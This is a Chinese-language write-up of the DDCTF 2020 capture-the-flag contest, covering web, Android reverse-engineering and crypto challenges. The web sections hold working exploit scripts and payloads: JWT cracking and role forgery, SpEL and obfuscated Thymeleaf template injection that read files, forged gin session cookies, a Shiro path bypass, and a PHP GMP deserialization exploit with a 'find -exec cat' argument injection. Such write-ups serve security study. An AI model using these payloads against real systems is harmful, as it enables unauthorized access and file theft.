DDCTF 2020 Writeup
今年改了赛制, 可以两人组队, 我觉得改的还是不错的, 终于不用现场表演学习逆向和 pwn 了, 成功和 Ary 师傅打到了第三 233
WEB
Web签到题
访问 http://117.51.136.197/hint/1.txt 得到使用说明,
1curl http://117.51.136.197/admin/login -d 'username=1&pwd=1' -vv
拿到 token
1{"code":0,"message":"success","data":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIxIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTQ2OTA0Mn0.fONrD0R3NLTybq2WEP5V7uWTBI_0T0E5utI3MZFngMU"}
明显的 jwt,需要用这个来 auth,用 https://github.com/brendan-rius/c-jwt-cracker
爆破出来 secret 是 1,修改 userRole 到 ADMIN 就可以拿到客户端的地址 http://117.51.136.197/B5Itb8dFDaSFWZZo/client
逆向一下得到用签名算法用的是 hmac,key 是 DDCTFWithYou,fuzz 了半天发现是 spel,直接命令执行似乎不行,于是根据提示给的 flag 位置直接读 flag 即可
1import time
2import hmac
3import base64
4import requests
5
6cmd = "{'a': T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'))}"
7ts = int(time.time())
8
9sign = base64.b64encode(hmac.new(b'DDCTFWithYou',msg=f"{cmd}|{ts}".encode(), digestmod='sha256').digest())
10
11'''{"signature":"65+KmCKrBVr6UAsjvSZ/iu1bdpx5xmIJLmAX2Squksk=","command":"'ls'","timestamp":1599189389}'''
12
13res = requests.post('http://117.51.136.197/server/command', json={
14 'signature': sign.decode(),
15 'command': cmd,
16 'timestamp': ts
17})
18
19print(res.text)
卡片商店
看到 session 就知道明显的是 gin,于是尝试整数溢出,借 9223372036854775807 个卡片就可以成功溢出,只需要还 1 张卡片,白嫖 9223372036854775806 张,兑换得到提示
1恭喜你,买到了礼物,里面有夹心饼干、杜松子酒和一张小纸条,纸条上面写着:url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12,你能看懂它的含义吗?
访问 flag 提示不是幸运玩家,但是有了 secretkey 就可以直接伪造 session,对 session base64 解码可以发现用的是 gob 序列化,明显看到 bool, admin 字样,直接自己也搭一个环境设置个 admin session 即可
1package main
2
3import (
4 "github.com/gin-contrib/sessions"
5 "github.com/gin-contrib/sessions/cookie"
6 "github.com/gin-gonic/gin"
7)
8
9func main() {
10 r := gin.Default()
11 store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
12 r.Use(sessions.Sessions("session", store))
13
14 r.GET("/hello", func(c *gin.Context) {
15 session := sessions.Default(c)
16
17 if session.Get("hello") != "world" {
18 session.Set("admin", true)
19 session.Save()
20 }
21
22 c.JSON(200, gin.H{"hello": session.Get("hello")})
23 })
24 r.Run(":8000")
25}
Easy Web
deleteMe 很明显的 shiro,但是尝试了下反序列化,key 全部不对。于是尝试了下新的权限绕过,可以直接越权访问到 index
1http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/index
明显有个 img 接口可以任意文件下载,通过 WEB-INF/web.xml 一直套娃下,可以下到一堆 class,但是没有找到有漏洞的接口,在 GitHub 上找了下类似的项目,fuzz 了一堆配置文件,最后找到 WEB-INF/classes/spring-shiro.xml
.
里面有个 WEB-INF/classes/com/ctf/auth/FilterChainDefinitionMapBuilder.class
,找到路由 map.put("/68759c96217a32d5b368ad2965f625ef/**", "authc,roles[admin]");
, 进去发现是个 thymeleaf 渲染,但是要绕之前的 com.ctf.util.SafeFilter.
绕了半天最后用 ProcessBuiler 弹 shell 发现连 ls 都没权限执行,于是只好回到 java 用相关 API 读文件,构造 payload 用 File 来列目录,发现 flag 就在 /flag_is_here
1import requests
2# /flag_is_here
3
4for i in range(0, 20):
5 sess = requests.session()
6 content = '''
7 [[${ T(java.net.URLClassLoader).getSystemClassLoader().loadClass(T(String).valueOf(new char[]{106, 97, 118, 97, 46, 105, 111, 46, 70, 105, 108, 101})).getConstructors()[1].newInstance(T(String).valueOf(new char[]{47})).listFiles()[%d] }]]
8 '''% i
9 res = sess.post("http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef/customize", {
10 'content': content
11 })
12 #[[${ (new java.util.Scanner(T(java.net.URLClassLoader).getSystemClassLoader().loadClass(T(String).valueOf(new char[]{106, 97, 118, 97, 46, 105, 111, 46, 70, 105, 108, 101, 82, 101, 97, 100, 101, 114})).getConstructors()[0].newInstance(T(String).valueOf(new char[]{47, 102, 108, 97, 103, 95, 105, 115, 95, 104, 101, 114, 101})))).next() }]]
13
14 uuid = res.text[res.text.find('./render/')+len('./render/'):res.text.find('./render/')+len('./render/2b32ce0c2a9292af4fdfe3333058c02c')]
15
16 res = sess.get(f'http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef/render/{uuid}')
17 print(res.text)
最后用 Scanner 这个类,方法名里面没有 read, payload 如下
1[[${ (new java.util.Scanner(T(java.net.URLClassLoader).getSystemClassLoader().loadClass(T(String).valueOf(new char[]{106, 97, 118, 97, 46, 105, 111, 46, 70, 105, 108, 101, 82, 101, 97, 100, 101, 114})).getConstructors()[0].newInstance(T(String).valueOf(new char[]{47, 102, 108, 97, 103, 95, 105, 115, 95, 104, 101, 114, 101})))).next() }]]
Overwrite Me
GMP 的一个 CVE,百度就能搜到, 可以覆盖任意对象的任意属性. https://bugs.php.net/bug.php?id=70513. 访问 http://117.51.137.166/hint/hint.php 拿到前半部分 然后覆盖 $mc 的 flag 导致参数注入就能读到后半部分
1<?php
2$inj = "-exec cat {} ;";
3$inner = 's:1:"3";a:3:{s:4:"flag";s:'.strlen($inj).':"'.$inj.'";s:2:"hi";s:2:"aa";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
4$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
5echo "\n" . $exploit . "\n";
6echo "\n";
7
8$a = urlencode($exploit);
9
10system("curl http://117.51.137.166/EOf9uk3nSsVFK1LQ.php?bullet=$a");
RE
Android Reverse 1
一个有点不太对劲的AES和tea系列加密算法加一个md5。 虽然aes不太对劲,但顺着aes加密函数,在他隔壁找到了aes的解密函数,直接把加密hook成解密就可以解密。 arm64的so里的tea解密部分好像被优化了,所以先把apk重打包,扔掉64位的so。 32位的so里的tea加密也是一个函数,有一个控制加密的参数8,hook掉把8改为-8,即可以解密。 然后md5部分没办法解,顺着给的提示先解tea,再解AES,就可以拿到Flag。
Android Reverse 2
先github找个脚本,恢复了Armariris的字符串,然后顺着找到动态注册的关键函数。
包名如第一题,猜测算法也基本同第一题,hook了一下发现aes没变,tea加密变化了,可能是密钥之类的变了,不过没事还是可以直接Hook改参数。 Frida-dexdump确认了一下,Java层啥都没有。
所以还是直接Hook加密改成解密就可以得到Flag。
MISC
真·签到题
公告板里面有
一起拼图吗
ChaMD5 之前有类似的题目,github 上有解题脚本 https://github.com/virink/puzzle_tool, 用模式 4 DiffRGB 就能直接拼回来
decrypt
一共 5 个轮密钥,其中很明显因为只是异或 + 位移的关系, k3, k4 可以合并成一个,实际上有效的是 4 个 0-4096 的密钥,但是空间还是很大,没办法爆破。 这里可以用 MITM,保存 4096 * 4096 个状态,将爆破空间降到 4096^3,用 cpp 写了下,速度还是挺快的,几分钟能跑完, 选取给的 plaintext 和 ciphertext 的第一个 bits 来爆破,然后用后面的 3 个来验证下是否正确
1#include <iostream>
2#include <vector>
3#include <unordered_map>
4
5//int sbox0[] = 太长不复制了
6//int sbox1[] =
7//int rsbox0[] =
8//int rsbox1[] =
9
10int NUM_BITS = 12;
11int MAX_VALUE = (2 << (NUM_BITS - 1));
12int BIT_MASK = MAX_VALUE - 1;
13
14int rol7(int b) {
15 return ((((b) << 7) & BIT_MASK) | (((b) & BIT_MASK) >> (NUM_BITS - 7)));
16}
17
18int ror7(int b) {
19 return ((((b) & BIT_MASK) >> 7) | (((b) << (NUM_BITS - 7)) & BIT_MASK));
20}
21
22int encrypt_block(int i, int k0, int k1, int k2, int k3, int k4) {
23 i = sbox0[sbox1[sbox0[(i & BIT_MASK) ^ k0] ^ k1] ^ k2] ^ k3;
24 return (ror7(i) ^ k4) & BIT_MASK;
25}
26
27int encrypt_block_simple(int i, int k0, int k1, int k2, int kf) {
28 i = sbox0[sbox1[sbox0[(i & BIT_MASK) ^ k0] ^ k1] ^ k2];
29 i = i ^ kf;
30 return (ror7(i)) & BIT_MASK;
31}
32
33int decrypt_block(int i, int k0, int k1, int k2, int k3, int k4) {
34 i = rol7((i & BIT_MASK) ^ k4) ^ k3;
35 return (rsbox0[rsbox1[rsbox0[i] ^ k2] ^ k1] ^ k0);
36}
37
38int decrypt_block_simple(int i, int k0, int k1, int k2, int kf) {
39 i = rol7((i & BIT_MASK)) ^ kf;
40 return (rsbox0[rsbox1[rsbox0[i] ^ k2] ^ k1] ^ k0);
41}
42
43int merge_two(int n1, int n2) {
44 return (n1 << 12) | n2;
45}
46
47std::pair<int, int> split_two(int n) {
48 return std::make_pair(n >> 12, n & BIT_MASK);
49}
50
51// 1092 -> 2285
52// k0, k1, k2, (k3 ^ k4) -> kf
53
54int main() {
55 std::unordered_map<int, std::vector<int>> mid_status;
56 std::vector<std::pair<int, int>> keys;
57
58 for (int i = 0; i < 4096; i++) {
59 std::vector<int> tmp;
60 tmp.reserve(4096);
61 mid_status[i] = tmp;
62 }
63
64 int plain = 1079;
65 int cipher = 567;
66
67 for (int k0 = 0; k0 < 4096; k0++) {
68 for (int k1 = 0; k1 < 4096; k1++) {
69 int merge = merge_two(k0, k1);
70 int mid = sbox1[sbox0[plain ^ k0] ^ k1];
71 mid_status[mid].push_back(merge);
72 }
73 }
74 int cnt = 0;
75
76 for (int k2 = 0; k2 < 4096; k2++) {
77 for (int kf = 0; kf < 4096; kf++) {
78 int mid = rol7(cipher);
79 mid = mid ^ kf;
80 mid = rsbox0[mid];
81 mid = mid ^ k2;
82
83 for (int &tgt : mid_status[mid]) {
84 auto splited = split_two(tgt);
85 int k0 = splited.first;
86 int k1 = splited.second;
87
88 if (encrypt_block_simple(1079, k0, k1, k2, kf) == 567 &&
89 encrypt_block_simple(633, k0, k1, k2, kf) == 361 &&
90 encrypt_block_simple(1799, k0, k1, k2, kf) == 1793 &&
91 encrypt_block_simple(1121, k0, k1, k2, kf) == 1001) {
92 std::cout << k0 << " " << k1 << " " << k2 << " " << kf << " " << std::endl;
93 }
94 }
95 }
96 }
97
98 return 0;
99}
最后得到两个结果
13488 2863 726 1886
2934 1050 1509 3200
改下脚本用合并的轮密钥来解密,第一行那四个就是正确的密钥
1# Define constant properties
2SECRET_KEYS = [0, 0, 0, 0, 0] # DUMMY
3NUM_BITS = 12
4BLOCK_SIZE_BITS = 48
5BLOCK_SIZE = BLOCK_SIZE_BITS / 8
6MAX_VALUE = (2 << (NUM_BITS - 1))
7BIT_MASK = MAX_VALUE - 1
8
9
10class Cipher(object):
11 def __init__(self, k0, k1, k2, kf):
12 self.k0 = k0
13 self.k1 = k1
14 self.k2 = k2
15 self.kf = kf
16
17 self._rand_start = 0
18 self.sbox0, self.rsbox0 = self.generate_boxes(106)
19 self.sbox1, self.rsbox1 = self.generate_boxes(81)
20 print self.sbox0
21 print self.sbox1
22 print self.rsbox0
23 print self.rsbox1
24
25 def my_srand(self, seed):
26 self._rand_start = seed
27
28 def my_rand(self):
29 if self._rand_start == 0:
30 self._rand_start = 123459876
31 hi = self._rand_start / 127773
32 lo = self._rand_start % 127773
33 x = 16807 * lo - 2836 * hi
34 if x < 0:
35 x += 0x7fffffff
36 self._rand_start = (x % (0x7fffffff + 1))
37 return self._rand_start
38
39 def generate_boxes(self, seed):
40 self.my_srand(seed)
41 sbox = range(MAX_VALUE)
42 rsbox = range(MAX_VALUE)
43
44 for i in xrange(MAX_VALUE):
45 r = self.my_rand() % MAX_VALUE
46 temp = sbox[i]
47 sbox[i] = sbox[r]
48 sbox[r] = temp
49
50 for i in xrange(MAX_VALUE):
51 rsbox[sbox[i]] = i
52
53 return sbox, rsbox
54
55 def ror7(self, b):
56 return ((((b) & BIT_MASK) >> 7) | (((b) << (NUM_BITS - 7)) & BIT_MASK))
57
58 def rol7(self, b):
59 return ((((b) << 7) & BIT_MASK) | (((b) & BIT_MASK) >> (NUM_BITS - 7)))
60
61 def pad_string(self, s):
62 num_blocks = len(s) / BLOCK_SIZE
63 num_remainder = len(s) % BLOCK_SIZE
64
65 pad = (BLOCK_SIZE - num_remainder) % BLOCK_SIZE
66 for i in xrange(BLOCK_SIZE - num_remainder):
67 s += chr(pad)
68 return s
69
70 def unpad_string(self, s):
71 pad = ord(s[-1]) & 0xff
72 if pad == 0 or pad > BLOCK_SIZE:
73 pad = BLOCK_SIZE
74 return s[:-pad]
75
76 def string_to_bits_list(self, s):
77 input_chars = s
78 num_blocks = len(s) / BLOCK_SIZE
79
80 bits_list = []
81 for i in xrange(num_blocks):
82 block = 0
83 for j in xrange(BLOCK_SIZE):
84 block = block << 8
85 block = block | ord(input_chars[i * BLOCK_SIZE + j])
86 for j in xrange(BLOCK_SIZE_BITS, 0, -NUM_BITS):
87 bits_list.append((block >> (j - NUM_BITS)) & BIT_MASK)
88 return bits_list
89
90 def bits_list_to_string(self, input_bits):
91 num_input_bits_per_block = BLOCK_SIZE_BITS / NUM_BITS;
92 output_chars = []
93 for i in xrange(0, len(input_bits), num_input_bits_per_block):
94 block = 0
95 for j in xrange(num_input_bits_per_block):
96 block = block << NUM_BITS
97 block = block | (input_bits[i + j])
98 for j in xrange(BLOCK_SIZE, 0, -1):
99 output_chars.append((block >> ((j - 1) * 8)) & 0xff)
100 return "".join([chr(x) for x in output_chars])
101
102 def encrypt_bits(self, b):
103 boxed = self.sbox0[self.sbox1[self.sbox0[(b & BIT_MASK) ^ self.k0] ^ self.k1] ^ self.k2] ^ self.kf
104 return (self.ror7(boxed)) & BIT_MASK;
105
106 def decrypt_bits(self, b):
107 unboxed = self.rol7((b & BIT_MASK)) ^ self.kf
108 return (self.rsbox0[self.rsbox1[self.rsbox0[unboxed] ^ self.k2] ^ self.k1] ^ self.k0);
109
110 def encrypt(self, s):
111 pad_s = self.pad_string(s)
112 bits = self.string_to_bits_list(pad_s)
113 return self.bits_list_to_string([(self.encrypt_bits(b)) for b in bits])
114
115 def decrypt(self, s):
116 bits = self.string_to_bits_list(s)
117 dec = [self.decrypt_bits(b) for b in bits]
118 return self.unpad_string(self.bits_list_to_string(dec))
119
120
121if __name__ == "__main__":
122 '''
123 DIFFERENTECH Cipher
124
125 As you are monitoring your station, you intercepted a hex-encoded encrypted
126 message, along with its plain text.
127
128 plaintext = "Cryptanalysis has coevolved together with cryptography"
129 ciphertext = ("2371697013e9bdcb50133102f2c8c08a69b93e1878ac7939ac7049"
130 "8ddd5dee019f4be4ec8dd3a612c8708a1169701d5d3de3169c7b1d"
131 "146146146146").decode('hex')
132
133 You have also previously chanced upon another encrypted message, which you
134 will need to decrypt. Taking a look at the algorithm, and past interceptions,
135 you noticed that the 12-bit numbers:
136 2684 encrypts to 2568
137 3599 encrypts to 3185
138 You realize that you just might be able to break it before lunch!
139
140 NOTE: GIVE ONE ENCRYPTED FLAG AS PART OF THE QUESTIION AND Try to decrypt
141 '''
142
143 # find the right SECRET_KEYS
144 SECRET_KEYS = [3488, 2863, 726, 1886]
145 cipher = Cipher(*SECRET_KEYS)
146
147 test_text = "DDCTF{"
148 ciphertext = ("8ed251b186927f62521fa81348782ecd781957571b69749b3e1515901e4e7065a6e949174472fdf01dcf").decode('hex')
149 #test_text = "Cryptanalysis has coevolved together with cryptography"
150 #ciphertext = ("2371697013e9bdcb50133102f2c8c08a69b93e1878ac7939ac7049"
151 # "8ddd5dee019f4be4ec8dd3a612c8708a1169701d5d3de3169c7b1d"
152 # "146146146146").decode('hex')
153
154 print '==='
155 bits = cipher.string_to_bits_list(test_text)
156 print len(bits)
157 print bits
158 # print cipher.encrypt_bits(1344)
159 # print ciphertext
160 bits = cipher.string_to_bits_list(ciphertext)
161 print bits
162
163 dec = []
164 for i in bits:
165 dec.append(cipher.decrypt_bits(i))
166 print dec
167 print cipher.bits_list_to_string(dec)
168 print len(bits)
169 # 8ed251b186927f62521fa81348782ecd781957571b69749b3e1515901e4e7065a6e949174472fdf01dcf
170
171 # enc = cipher.encrypt(test_text)
172 dec = cipher.decrypt(ciphertext)
173
174 if test_text == dec:
175 print("That's right!")
176 else:
177 print("Try again!")